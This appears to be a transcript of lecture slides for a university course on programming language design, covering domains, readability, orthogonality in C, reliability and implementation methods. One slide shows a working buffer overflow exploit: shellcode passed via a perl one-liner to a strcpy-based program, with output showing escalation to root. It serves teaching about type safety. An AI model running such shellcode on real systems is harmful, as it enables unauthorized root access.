Exploring Programming Language Concepts: Past, Present, and Future

1. Programming Language DesignChapter 1 CS 35000 Programming Language Design Indiana University – Purdue University Fort Wayne

2. Value of Language Concepts • History and Now • Began programming in 1990’s • Dominant languages were Pascal, C, and C++ • Most of the languages were designed to running on a single machine • Today: Most of the popular language have to considered their availability for • Web application • Mobile application/Cloud computing • Service-oriented environment • Security • Big Data

3. Why Take This Course? • Learn dominant and popular languages • Use languages to solve real-world problems • Learn programming technologies for the web • Understand the languages you use, by comparison • Appreciate history, diversity of ideas in programming • Important implementation ideas • Be prepared for new programming languages, paradigms, tools • Job, job, job!!! – Search “software developer salary” in Google

4. Language goals and Its Role Architect Programmer Programming Language Testing Compiler, Runtime environ-ment DiagnosticTools

5. Outlines/Contents of Chapter 1 • Reasons for Studying Programming Languages • Programming Domains • Language Evaluation Criteria • Influences on Language Design • Language Categories • Language Design Trade-Offs • Implementation Methods • Programming Environments

6. Reasons for Studying Programming Languages • The expressive power of the language we use to communicate influences the depth at which we can think • If you cannot describe by using a language, it is hard to conceptualize structures of ideas • Consider implementing a complex application in assembly language • Does not provide the concept of object-oriented programming • Less expressive • Unless required by the application, we may try to avoid programming in assembly language

7. Reasons for Studying Programming Languages • Be Familiar with languages’ features…. • Choose the best language for the problem • Popular languages?  May not be ideal! • Cheap software/compiler?  Might be a good reason • Programmer’s familiarity with a related language  Might be a good reason • Many more… • Foundation for learning new languages

8. Reasons for Studying Programming Languages • Understanding of runtime and implementation issues • Relative efficiency of alternative constructs • Common bugs • Proper use of a language • Overall advancement of computing

9. Programming Domains • Web Applications • Markup languages • HTML/XHTML • Scripting languages • A list of commands is placed in a file or in document for execution without being compiled. They are interpreted by another program at run time rather than compiled by the computer’s processor as other PLs, such as C and C++ are. • Shell, Perl, JavaScript, PHP, Ruby, Lua, Python • Mobile Computing • Object C/J2ME

10. Programming Domains • Scientific applications • Large number of floating point computations • Examples: Matlab, R, Mathematica • Business applications • Produce software and reports • Examples: SQL, Java, C#, .NET

11. Programming Domains • Artificial intelligence • Require to manipulate symbols, rather than numbers • Examples: LISP and Prolog • Systems programming • Need for efficiency and high performance • Need to access low-level device drivers and the kernel of Operating System • Examples: C/C++

12. Outline • Language Evaluation Criteria • The Motivation of Modern Programming Languages • Language Implementation Issues

13. Language Evaluation Criteria • Readability • Writability • Reliability & Security • Cost • Other -- portability, generality, well-definition

14. Readability • Maintenance cost of a software can be 70 – 90% of system lifecycle cost • Overall simplicity is one feature of Readability • Too many features are bad Reader of a program may not familiar with the subset of the language, which used by the programmer • Multiplicity of features is bad – 1+ way to accomplish the same task Are you confused by Java I/O choices? • Operator overloading is bad  one operator has 1+ meaning Java I/O API : http://docs.oracle.com/javase/1.4.2/docs/api/java/io/package-summary.html

15. Readability (‘Cont) • Orthogonality is an important guideline of designing a language with good Readability • Orthogonality In mathematics, “orthogonalityis the relation of two lines at right angles to one another (perpendicularity), and the generalization of this relation into n dimensions; it has been used to describe non-overlapping, uncorrelated, or independent objects of some kind. “--- Wiki It means non-redundant, non-overlapping or irrelevant. The characteristic of something being independent from something else. The line segments AB and CD are orthogonal to each other.

16. Readability (‘Cont) • Orthogonality context independent • Combine a relatively small set of primitive constructs in a relatively small number of ways to get the desired results • Consistent set of rules for combining constructs (simplicity) • Every possible combination is legal • Makes a language easy to read and learn A PL is orthogonal if its features can be used without thinking about how that usage will affect other features.

17. Orthogonality Example • Example: in C you can't return an array(static array), C is said to be non-orthognalin this case int * func( ) { …} //return a array from a function //by declaring a func returning a pointer. //define the local variable as static //variable, for C does not advocate to //return the address of a local variable to //outside the function.

18. The following function which will generate 10 random numbers and return them using an array and call this function as follows: #include <stdio.h> /* function to generate and return random numbers */ int* getRandom( ) { static int r[10]; inti; /* set the seed */ srand( (unsigned)time( NULL ) ); for ( i = 0; i < 10; ++i) { r[i] = rand(); printf( "r[%d] = %d\n", i, r[i]); } return r; }

19. /* main function to call above defined function */ intmain () { /* a pointer to an int */ int*p; inti; p = getRandom(); for ( i = 0; i < 10; i++ ) { printf( "*(p + %d) : %d\n", i, *(p + i)); } return 0; }

20. When the above code is compiled together and executed, it produces the following result: r[0] = 313959809 r[1] = 1759055877 r[2] = 1113101911 r[3] = 2133832223 r[4] = 2073354073 r[5] = 167288147 r[6] = 1827471542 r[7] = 834791014 r[8] = 1901409888 r[9] = 1990469526 *(p + 0) : 313959809 *(p + 1) : 1759055877 *(p + 2) : 1113101911 *(p + 3) : 2133832223 *(p + 4) : 2073354073 *(p + 5) : 167288147 *(p + 6) : 1827471542 *(p + 7) : 834791014 *(p + 8) : 1901409888 *(p + 9) : 1990469526

21. Example in C intmy_array[] = {1,23,17,4,-5,100}; int *ptr; int* addOne(void) { inti; ptr = &my_array[0]; /* point to the first element of the array */ for (i = 0; i < 6; i++){ *(ptr + i) = *(ptr + i)+1; } return ptr; } int main(void) { inti; ptr = addOne(); for (i = 0; i < 6; i++){ printf("ptr + %d = %d\n",i, *(ptr + i)); } return 0; } A functions can returnstructs, but not arrays • Due to some historical reason, some languages were not designed to be strictly following the principle of “Orthogonality ” • A language should use a unified interface to input/output various data type, if it follows the principle of orthogonality • However, … typedefstruct { int x; int y; } Coodinate; Coordinate ShiftX(Coordinate a, int offset) { Coordinate ret; ret.x=a.x+offset; ret.y=a.y; return ret; }

22. Readability Readability also refers to the following characteristics: • Convenient control statements • Ability to define different data types and structures • Syntax considerations • Meaningful reserved words  The meaning those words should be straightforward

23. Writability • Most readability factors also apply to writability • Overly simplicity and orthogonality • Control statements, data types and structures • Support for abstraction the ability express complicated data and procedure • Data abstraction • Process abstraction • Expressivity Convenient way to specify computation. From writability’s perspective: • Count++ is better than Count=Count+1

24. Reliability & Security • Readability and writability both influence reliability and security • Reliability & Security • Type checking • Famous failure of space shuttle experiment due to int/ float mix-up in parameter passing • Exception handling • Ability to handle run-time errors • Aliasing • Ability to use different names to reference the same memory • It might become a dangerous feature!

25. Why??? Buffer Overflow Attack in C [anyi@ubuntu]$ whoami anyi [anyi@ubuntu]$ ./test `perl -e 'print "\x90"x72, "\x31\xc0\x89\xc3\xb0\x17\xcd\x80 \x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80", "a"x20, "\xa0\xfb\xff\xbf"'` sh-3.00# whoami root sh-3.00# id uid=0(root) gid=502(anyi) groups=502(anyi) • This attack escalates a normal use to root test.c #include <unistd.h> int main(intargc, char *argv[]){ char buff[100]; /*if no argument…*/ if(argc <2){ printf("Syntax: %s <input string>\n", argv[0]); exit (0); } strcpy(buff, argv[1]); return 0; } This problem (vulnerability) is caused by poor “type checking”

26. SQL Injection: An Attack Caused By Weak Type Checking • http://en.wikipedia.org/wiki/SQL_injection • Attacks could happen from outside • 83% of web sites have at least one serious vulnerability1 • Symptoms: SQL injection attacks, Cross-site script attacks, etc SQL injection is a technique where malicious users can inject SQL commands into an SQL statement. An attacker can execute malicious SQL statements (also referred to as a malicious payload) the control a web application database server (referred as a RDBMS). • Demo: • https://www.youtube.com/watch?v=J6v_W-LFK1c

27. Cost and Others • Cost • Purchasing license • Training programmers to use a language • Writing programs in a particular problem domain • Compiling/ Executing programs • Reliability/Security • Maintaining programs • Others: portability, generality, well-definition

28. Language Design Trade-Offs • Designing a programming language involves numerous compromises and trade-offs. For example, • Writabilityv.s. Reliability • Pascal variant records are flexible but not safe • C++ pointers are flexible but not safe • Reliability v.s. Efficiency • Range checking for array references?

29. Outline • Language Evaluation Criteria • The Motivation of Modern Programming Languages • Language Implementation Issues

30. The Motivation of Modern Programming Languages • What factors shapesthe current specifications of programming languages? • The advance of computer hardware • The historic reasons • Language designer’s preferences/choices • Aspects of scientific and business applications

31. The Advance Of Computer Hardware Store instructions and data • Von Neumann Computer Architecture • The first draft of Modern computer (1945) • Still used today • Features: • Data and programs stored in same memory • Memory is separate from CPU • Instructions and data are piped from memory to CPU Request of operations Instructions and data CPU

32. Influences on Language Design • Based on the Von Neumann Architecture, the modern programming languages must be designed as imperative languages, whose key features are: • Use Statementsthat change a program state • Use Variables to model memory cells • Use Assignment statements to model piping • Use Iteration to implement repetition • Use Condition Statement to implement decision-making

33. The Historic Reasons • Programming methodologies changes • 1950s and early 1960s • Simple applications • Primarily concern about machine efficiency • Late 1960s • “People efficiency” became important • Readability • Better control structures • Structured programming • Top-down design and step-wise refinement

34. The Historic Reasons • Programming methodologies changes • Late 1970s • Process-oriented techniques yielded to data-oriented techniques • Data abstraction • Middle 1980s to present • Object-oriented languages • Encapsulation with data abstraction • Inheritance • Dynamic method binding • Smalltalk (1980) and Java (1995) • Concurrent and parallel languages • Creating and controlling concurrent program units

35. Outline • Language Evaluation Criteria • The Motivation of Modern Programming Languages • Language Implementation Issues

36. Implementation Methods: Compilation Source Code • Translates a high-level program to machine code • Features: • Slow translation • Fast execution • Separate compiled units must be combined by a linker into an executable (.exe file) Compiler Lexical Analyzer Intermediate Code Syntax Analyzer Semantic Analyzer Code Generator Machine Code Input data Computer

37. Implementation Methods: Pure Interpretation Source Code • An interpreter is a computer program that directly executes (performs) instructions written in a programming or scription languages, without previously compiling them into a machine program. Input data Interpreter Machine Code Computer

38. Implementation Methods: Pure Interpretation Source Code • No translation before execution • Features: • Slow execution • Loop statements are repeatedly translated • Some web scripting languages still prefer pure interpretation: • JavaScript • PHP • Why? Input data Interpreter Machine Code Computer

39. Implementation Methods: Hybrid Implementation Systems Source Code Compiler • Translates a high-level language to intermediate code, and then interpret it • The Intermediate code is called bytecode • The Java interpreter is the JVM later on • Each statement is translated only once in contrast to pure interpretation • Medium execution speed • Just-In-Time (JIT) technology now widely used with Java and .NET Lexical Analyzer Syntax Analyzer Intermediate Code Generator Intermediate Code (bytecode) Interpreter Input data Machine Code Computer

40. Programming Environments • The collection of tools used in software development, which AKA integrated development environment (IDE) • File system, text editor, compiler, linker • Eclipse/Netbean • An integrated development environment for Java and other languages • Microsoft Visual Studio.NET • A large, complex visual environment • Used to program in C#, Visual BASIC.NET, Jscript, J#, and C++

41. Can we programming with natural language? https://www.youtube.com/watch?v=2vT0AWDq3DE